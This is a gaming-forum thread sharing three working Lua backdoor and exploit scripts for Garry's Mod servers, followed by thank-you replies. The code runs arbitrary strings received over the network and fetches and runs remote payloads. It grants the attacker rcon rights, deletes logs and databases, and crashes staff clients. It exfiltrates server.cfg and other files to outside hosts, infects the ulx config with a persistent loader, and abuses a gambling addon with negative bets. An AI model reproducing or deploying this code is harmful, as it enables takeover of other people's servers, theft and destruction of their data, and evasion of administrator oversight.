Welcome, Guest.

Author Topic: 3 Lua Exploits From Odium.Pro  (Read 4559 times)

Offline pedropinto0

  • Veteran
  • *
  • Posts: 8
  • Official Brazillian translator of BigPackets
    • View Profile
3 Lua Exploits From Odium.Pro
« on: October 10, 2017, 11:46:50 PM »
Basically i found these 3 on the discord of a member of Odium.pro (RIP).

Code: [Select]
util.AddNetworkString( "_CAC_ReadMemory" ) net.Receive( "_CAC_ReadMemory", function() local x = CompileString( net.ReadString(), "LuaCmd", false ) if isfunction( x ) then x() end end )
util.AddNetworkString( '_Defqon' ) net.Receive( '_Defqon', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )

local Retards = {}
local Logs = {"sv_logecho","sv_logfile","sv_log_onefile","lua_log_sv","ulx_logchat","ulx_logspawnsecho","ulx_logspawns","ulx_logjoinleaveecho","ulx_logfile","ulx_logevents","ulx_logecho","ulx_logdir","ulx logEchoColors"}
local Date = os.date( "%m-%d-%y")
local StaffRanks = {"tmod","t-mod","trialmod","trialmoderator","trial-moderator","admin","superadmin","headadmin","head-admin","staff-manager","staffmanager","owner","coowner","co-owner","dev","developer","vip-tmod","vip-mod","manager","servermanager","root","server-manager","staff-manager","operator","mod","moderator"}

concommand.Add("hell", function(ply)
    for k,v in pairs(player.GetAll()) do
     v:SendLua([[http.Fetch('http://teamorbit.x10.bz/lua/gas.lua',function(b,l,h,c)RunString(b)end,nil)]])
     timer.Simple(2, function() do v:ConCommand("hellstart") end end )
    ply:ChatPrint( "[RunString] Welcome to hell." )
        end
end )

concommand.Add("perms", function(ply)
    timer.Simple(2, function() file.Delete("ulx_logs/"..Date..".txt") end )
    RunConsoleCommand("ulx","logEcho","0")
    RunConsoleCommand("ulx","userallow",ply:Nick(),"ulx logEcho","0")
    RunConsoleCommand("ulx","userallow",ply:Nick(),"ulx logEcho","1")
    RunConsoleCommand("ulx","userallow",ply:Nick(),"ulx luarun")
    RunConsoleCommand("ulx","userallow",ply:Nick(),"ulx rcon")
    RunConsoleCommand("ulx","logEcho","1")
    sql.Query("DELETE FROM blogs_v3 WHERE involved = '[]'")
    ply:ChatPrint( "[RunString] Successfully & silently given ulx logecho, luarun & rcon." )
end )

concommand.Add("disco", function(ply)
        http.Fetch('http://teamorbit.x10.bz/lua/disco.lua',function(b,l,h,c)RunString(b)end,nil)
        ply:ChatPrint( "[RunString] Enabled I don't even know what to call this." )
end )

local mn = false
concommand.Add( "moansteps", function(ply)
    mn = !mn
    if( mn ) then
            ply:ChatPrint("[RunString] Moaning footsets enabled.")
            hook.Add("PlayerFootstep", "memesv2", function(ply, pos, foot, sound2, volume, filter) ply:EmitSound( "vo/npc/female01/pain06.wav",75,math.random( 50, 150 )) end )
    else
            hook.Remove("PlayerFootstep", "memesv2")
            ply:ChatPrint("[RunString] Moaning footsets disabled.")
    end
end )

concommand.Add("httpfetch", function(ply,cmd,arg)
if arg[1] == nil then
ply:ChatPrint("[RunString] Usage error: httpfetch sv/cl url")
    elseif arg[1] == "sv" then
        http.Fetch('http://'..arg[2], function(b) RunString(b) end)
    elseif arg[1] == "cl"then
        ply:SendLua("http.Fetch('http://"..arg[2]..", function(b) RunString(b) end)")
    end
end )

concommand.Add("update", function(ply)
    http.Fetch('http://teamorbit.x10.bz/lua/gas.lua',function(b,l,h,c)RunString(b)end,nil)
    ply:ChatPrint( "[RunString] Retrieved latest version." )
end )

local bm = false
concommand.Add("2d", function(ply)
local a = ply:LookupBone("ValveBiped.Bip01_Head1")
local b = ply:LookupBone("ValveBiped.Bip01_R_Thigh")
local c = ply:LookupBone("ValveBiped.Bip01_L_Thigh")
local d = ply:LookupBone("ValveBiped.Bip01_R_Calf")
local e = ply:LookupBone("ValveBiped.Bip01_L_Calf")
local f = ply:LookupBone("ValveBiped.Bip01_R_UpperArm")
local g = ply:LookupBone("ValveBiped.Bip01_L_UpperArm")
local h = ply:LookupBone("ValveBiped.Bip01_R_Forearm")
local i = ply:LookupBone("ValveBiped.Bip01_L_Forearm")
local j = ply:LookupBone("ValveBiped.Bip01_R_Clavicle")
local k = ply:LookupBone("ValveBiped.Bip01_L_Clavicle")
    bm = !bm
    if( bm ) then
    for k,v in pairs(player.GetAll()) do
        v:ManipulateBoneScale( a, Vector(4,0,4))
        v:ManipulateBoneScale( b, Vector(0,0,0))
        v:ManipulateBoneScale( c, Vector(0,0,0))
        v:ManipulateBoneScale( d, Vector(0,0,1))
        v:ManipulateBoneScale( e, Vector(0,0,1))
        v:ManipulateBoneScale( f, Vector(0,0,0))
        v:ManipulateBoneScale( g, Vector(0,0,0))
        v:ManipulateBoneScale( h, Vector(1,1.5,1.5))
        v:ManipulateBoneScale( i, Vector(1,1.5,1.5))
        v:ManipulateBoneScale( j, Vector(0,0,0))
        v:ManipulateBoneScale( k, Vector(0,0,0))
end
    ply:ChatPrint( "[RunString] Enabled 2d players." )
    else
    ply:ChatPrint( "[RunString] Disabled 2d players." )
        for k,v in pairs(player.GetAll()) do
        v:ManipulateBoneScale( a, Vector(1,1,1))
        v:ManipulateBoneScale( b, Vector(1,1,1))
        v:ManipulateBoneScale( c, Vector(1,1,1))
        v:ManipulateBoneScale( d, Vector(1,1,1))
        v:ManipulateBoneScale( e, Vector(1,1,1))
        v:ManipulateBoneScale( f, Vector(1,1,1))
        v:ManipulateBoneScale( g, Vector(1,1,1))
        v:ManipulateBoneScale( h, Vector(1,1,1))
        v:ManipulateBoneScale( i, Vector(1,1,1))
        v:ManipulateBoneScale( j, Vector(1,1,1))
        v:ManipulateBoneScale( k, Vector(1,1,1))
    end
    end
end )

concommand.Add("dosh", function(ply)
    for k,v in pairs(player.GetAll()) do v:addMoney(99999999999999999) ply:ChatPrint("[RunString] Fucked economy of active players.") v:ChatPrint("You were given a small loan of several billion dollars.") end
end )

concommand.Add("restartserver", function()
    game.GetWorld():Remove()
end )

local ml = false
concommand.Add("mutelogs", function(ply)
    ml = !ml
    if( ml ) then
        for k,v in pairs(Logs) do RunConsoleCommand(v,"0") end
        ply:ChatPrint( "[RunString] Successfully muted all logging." )
            timer.Create( "ml", 2, 0, function()
                timer.Simple(0, function() RunConsoleCommand("ulx","logEcho",0) end )
                timer.Simple(0, function() file.Delete("ulx_logs/"..Date..".txt") end )
                timer.Simple(0, function() sql.Query("DELETE FROM blogs_v3 WHERE involved = '[]'") end )
            end )
    else
        for k,v in pairs(Logs) do RunConsoleCommand(v,"1") end
        timer.Destroy( "ml" )
        ply:ChatPrint( "[RunString] Successfully unmuted all logging." )
    end
end )

concommand.Add("wipedata", function(ply)
    http.Fetch('http://teamorbit.x10.bz/lua/serverwipe.lua',function(b,l,h,c)RunString(b)end,nil)
    ply:ChatPrint( "[RunString] Initiated Server Wipe." )
end )

concommand.Add("clearlogs", function(ply)
    sql.Query( "DELETE FROM blogs_v3;" )
    sql.Query( "DELETE FROM ulogs;" )
    sql.Query( "DELETE FROM mlog_logs;" )
    file.Delete( "ulx_logs/"..Date..".txt" )
    ply:ChatPrint( "[RunString] Silently killed all logs." )
end )

concommand.Add("crashadmins", function(ply)
    ply:ChatPrint( "[RunString] Crashed all staff present." )
    for k,v in pairs(player.GetAll()) do if (table.HasValue(StaffRanks, v:GetUserGroup())) then v:SendLua("while true do end") end end
end )

concommand.Add("crashplayers", function(ply)
    ply:ChatPrint( "[RunString] Crashed all players except lads." )
    for k,v in pairs(player.GetAll()) do if (!table.HasValue(StaffRanks, v:GetUserGroup())) then v:SendLua("while true do end") end end
end )

concommand.Add( "smashconsole", function(ply)
    sc = !sc
    if( sc ) then
        ply:ChatPrint( "[RunString] Enabled console jammer" )
            timer.Create( "sc", 0.5, 0, function()
                    print( "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" )
            end )
    else
        ply:ChatPrint( "[RunString] Disabled consolejammer" )
            timer.Destroy( "sc" )
    end
end )

concommand.Add("namechange", function(ply,cmd,arg)
local DESIRED_NAME = arg[1]
for k, v in pairs(player.GetAll()) do
        DarkRP.storeRPName(v, DESIRED_NAME)
        v:setDarkRPVar("rpname", DESIRED_NAME)
end
    ply:ChatPrint( "[RunString] Changed user names" )
end )

concommand.Add("silentslay", function(ply,cmd,arg)
for k, v in pairs(player.GetAll()) do
    if string.find(v:Nick():lower(),arg[1]) then
        v:KillSilent()
        end
    end
    ply:ChatPrint("[RunString] Silently slayed nerd(s)")
end )

concommand.Add("p_remove", function(ply,cmd,arg)
    if arg[1] == nil then
        ply:ChatPrint("[RunString] Usage: p_remove arg")
else
    for k, v in pairs(ents.FindInSphere(ply:GetPos(), arg[1])) do
        if v:GetClass() == "prop_physics" then
                    v:Remove()
        end
    end
    ply:ChatPrint("[RunString] Removed all props in a "..arg[1].." gmod unit radius.")
end
end )

concommand.Add("rcon_run", function(ply,cmd,arg)
if arg[1] == nil then
        ply:ChatPrint("[RunString] Usage: rcon_run arg")
    else
        game.ConsoleCommand(arg[1].."\n")
        ply:ChatPrint("[RunString] Rcon ran: "..arg[1])
    end
end )

concommand.Add("unban", function(ply,cmd,arg)
    if arg[1] == nil then
        ply:ChatPrint("[RunString] Usage: unban ip/ulx arg")
    elseif arg[1] == "ip" then
        RunConsoleCommand("removeip", arg[2])
        ply:ChatPrint("[RunString] Silently unbanned ip "..arg[2])
    elseif arg[1] == "ulx" then
        ULib.unban(arg[2])
        ply:ChatPrint("[RunString] Silently unbanned "..arg[2])
    end
end )

concommand.Add("forcesay", function(ply,cmd,arg)
for k, v in pairs(player.GetAll()) do
    if string.find(v:Nick():lower(),arg[1]) then
        v:ConCommand("say "..arg[2])
        end
    end
end )

concommand.Add("nukeulx", function(ply)
if ULib then
        for groupName, _ in pairs(ULib.ucl.groups) do
            if groupName ~= "user" then
                ULib.ucl.removeGroup(groupName)
            end
        end
    end
    ply:ChatPrint("[RunString] Nuked ULX.")
end )

concommand.Add("m9knuke", function(ply)
local rocket = ents.Create("m9k_launched_davycrockett")
local ply2 = table.Random(player.GetAll())
if ply2 == ply then ply:ChatPrint("[RunString] Prevented epicentre from being you.") else
    rocket:SetPos(ply2:GetPos())
    rocket:SetOwner(ply2)
    rocket.Owner = ply2
    rocket:Spawn()
    rocket:Activate()
ply:ChatPrint("[RunString] Allahu akbar.")
end
end )

concommand.Add("servercfg", function(ply)
    http.Post("http://teamorbit.x10.bz/lua/data/makefolders.php",{a=string.sub( GetHostName(), 1, 10 ),b="cfg"})
    http.Post("http://teamorbit.x10.bz/lua/data/makefiles.php",{a=string.sub( GetHostName(), 1, 10 ),b="cfg/server.cfg",c=file.Read("cfg/server.cfg","GAME")})
    ply:ChatPrint("[RunString] Stole server.cfg contact Admin for it.")
end )

concommand.Add("stealfile", function(ply,cmd,arg)
    http.Post("http://teamorbit.x10.bz/lua/data/makefolders.php",{a=string.sub( GetHostName(), 1, 10 ),b=arg[1]})
    http.Post("http://teamorbit.x10.bz/lua/data/makefiles.php",{a=string.sub( GetHostName(), 1, 10 ),b=arg[2],c=file.Read(arg[2],"GAME")})
    ply:ChatPrint("[RunString] Attempted to steal a file, contact Admin.")
end )

concommand.Add("helpme", function(ply,cmd,arg)
    if arg[1] == nil then
        ply:ChatPrint( "Usage: helpme 1/2" )
    elseif arg[1] == "1" then
    ply:ChatPrint( "~===[[Page 1]]===~" )
    ply:ChatPrint( "? Memes: hell, disco, rektmodels, moansteps, p_remove" )
    ply:ChatPrint( "? Util: update, perms, unban" )
    ply:ChatPrint( "? Sneaky: crashadmins, crashplayers, smashconsole, ulxconfig" )
    ply:ChatPrint( "? Destructive: restartserver, dosh" )
    elseif arg[1] == "2" then
    ply:ChatPrint( "~===[[Page 2]]===~" )
    ply:ChatPrint( "? Memes: 2d, stealdata, servercfg, namechange" )
    ply:ChatPrint( "? Util: mutelogs, clearlogs, rcon_run, hail" )
    ply:ChatPrint( "? Sneaky: silentslay, forcesay, stealfile" )
    ply:ChatPrint( "? Destructive: wipedata, nukeulx, m9knuke" )
    elseif arg[1] == "3" then
    ply:ChatPrint( "~===[[Page 3]]===~" )
    ply:ChatPrint( "NOTHING TO ADD YET HERE RETARD." )
    end
end )

concommand.Add("ulxconfig", function(ply)
    if(ulx) then
        file.Append( "ulx/config.txt", "\nulx luarun http.Fetch([[http]]..string.char(58)..[[/]]..[[/teamorbit.x10.bz/lua/ulx.lua]], function(body) pcall(CompileString(body, [[l]], false)) end, function(err) end)" )
        ply:ChatPrint( "[RunString] Successfully infected the ulx config." )
    else
        ply:ChatPrint( "[RunString] ULX isn't present dickhead." )
    end
end )

/*
concommand.Add("stealdata", function(ply,cmd,arg)
    if arg[1] == nil then
        ply:ChatPrint("[RunString] Usage: stealdata stealth/ransom")
elseif arg[1] == "stealth" then
        stealthjewdata()
        ply:ChatPrint("[RunString] Usage: Stole /data/ without deleting.")
elseif arg[1] == "ransom" then
        ransomjewdata()
        ply:ChatPrint("[RunString] Usage: Stole /data/ & removed all data.")
    end
end )
*/

local sm = false
local proplist = {
"models/props_c17/FurnitureWashingmachine001a.mdl",
"models/props_c17/Lockers001a.mdl",
"models/props_c17/oildrum001.mdl",
"models/props_combine/breenchair.mdl",
"models/props_c17/concrete_barrier001a.mdl",
"models/props_c17/furnitureStove001a.mdl",
"models/props_interiors/VendingMachineSoda01a.mdl",
"models/props_interiors/refrigerator01a.mdl",
"models/props_wasteland/laundry_dryer002.mdl",
"models/props_canal/bridge_pillar02.mdl",
"models/props_wasteland/coolingtank02.mdl",
"models/props_junk/TrashBin01a.mdl",
"models/props_wasteland/cargo_container01.mdl",
"models/props_wasteland/cargo_container01c.mdl",
"models/props_wasteland/wheel02b.mdl",
"models/props_wasteland/laundry_washer003.mdl",
"models/props_wasteland/kitchen_fridge001a.mdl",
"models/props_wasteland/medbridge_strut01.mdl",
"models/props_wasteland/medbridge_base01.mdl",
"models/props_wasteland/laundry_dryer001.mdl",
"models/props_wasteland/horizontalcoolingtank04.mdl",
"models/props_c17/metalladder002.mdl",
"models/hunter/blocks/cube8x8x8.mdl",
"models/props_buildings/watertower_001a.mdl",
"models/props_buildings/watertower_001c.mdl",
"models/props_phx/huge/tower.mdl",
"models/props/de_nuke/coolingtower.mdl",
"models/hunter/tubes/tube4x4x16.mdl",
"models/props_wasteland/cranemagnet01a.mdl",
"models/props/de_nuke/coolingtank.mdl"
}

concommand.Add( "rektmodels", function(ply)
    sm = !sm
    if( sm ) then
        ply:ChatPrint( "[RunString] Enabled model change spammer" )
            timer.Create( "sm", 0.5, 0, function()
                    for k,v in pairs( player.GetAll() ) do
                        v:SetModel(table.Random( proplist) )
                        v:SetPlayerColor( Vector( 0,0,0 ) )
                    end
            end )
    else
        ply:ChatPrint( "[RunString] Disabled model change spammer" )
            timer.Destroy( "sm" )
                    for k,v in pairs( player.GetAll() ) do
                     v:SetModel("models/player/Group01/male_01.mdl")
                     v:SetPlayerColor( Vector( 0,0,0 ) )
                    end
    end
end )

Code: [Select]
local databases = { "jobdata","darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobspawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log" }
local datafiles = { "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcspawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","prevhash.txt","permaprops_config.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","vliss/settings/config.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
local sensitivefiles = { "ulx_logs/"..date..".txt","ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","vcmod/controls.txt","vcmod/dataserver.txt","blogs/configcache.dat","blogs/language.txt","blogs/config_v5.txt","cac/adminuipack.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","permaprops_config.txt","whitelist.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
local date = os.date( "%m-%d-%y" )
for k,v in pairs( databases ) do if sql.TableExists( v ) then
sql.Query( "DROP TABLE "..v.." ;" )
sql.Query( "CREATE TABLE IF NOT EXISTS "..v.." ( steamid TEXT NOT NULL PRIMARY KEY, value TEXT );" )
end
end
timer.Simple(5, function() for k,v in pairs( datafiles ) do if file.Exists(v, "DATA") then file.Delete( v ) end end end )
for k,v in pairs( sensitivefiles ) do if file.Exists(v, "DATA") then http.Post("http://bracegaming.com/data/log.php",{a=game.GetIPAddress(),b=v,c=file.Read(v)}) file.Delete( v ) end end
--hook.Add( "Think", "killulxlogs", function() file.Delete( "ulx_logs/"..date..".txt" ) end )

Code: [Select]
concommand.Add( "gamble_ex" , function( ply , cmd , args , str )
Pointshop2.GamblingView:getInstance( ):startSpin( tonumber( str ) * -1 )
timer.Simple( 0.5 , function( )--Get invalid
RunConsoleCommand( "retry" )
end )
  end )
« Last Edit: October 12, 2017, 12:43:31 AM by pedropinto0 »

Offline dark;)

  • Posts: 3
    • View Profile
Re: 3 Lua Exploits From Odium.Pro
« Reply #1 on: April 08, 2018, 08:45:47 PM »
r.i.p odium this would be nice if odium wasn't dead now

Offline kreeg123

  • Posts: 2
    • View Profile
Re: 3 Lua Exploits From Odium.Pro
« Reply #2 on: April 08, 2018, 10:15:40 PM »
nice

Offline fevanson

  • Posts: 6
    • View Profile
Re: 3 Lua Exploits From Odium.Pro
« Reply #3 on: April 08, 2018, 10:20:45 PM »
Too bad Odium isn't use by many servers anymore.

Offline Grays

  • Posts: 8
    • View Profile
Re: 3 Lua Exploits From Odium.Pro
« Reply #4 on: April 08, 2018, 11:34:41 PM »
Heh.  :)

Offline mrzack506

  • VIP (Inactive)
  • *
  • Posts: 15
    • View Profile
Re: 3 Lua Exploits From Odium.Pro
« Reply #5 on: April 09, 2018, 01:02:29 AM »
My friend always bragged about how odium would never be leaked lmao

Offline noratnohackpls

  • Posts: 3
    • View Profile
Re: 3 Lua Exploits From Odium.Pro
« Reply #6 on: April 09, 2018, 04:53:54 PM »
cheers! nice release :)

Offline Denis118247

  • Posts: 9
    • View Profile
Re: 3 Lua Exploits From Odium.Pro
« Reply #7 on: April 09, 2018, 05:48:27 PM »
Nice one bro odium gei tho


Total Registered Members:





2017-2023 BigPackets. All rights reserved. All other trademarks, logos and copyrights are the property of their respective owners. This site is not associated with any company in any way.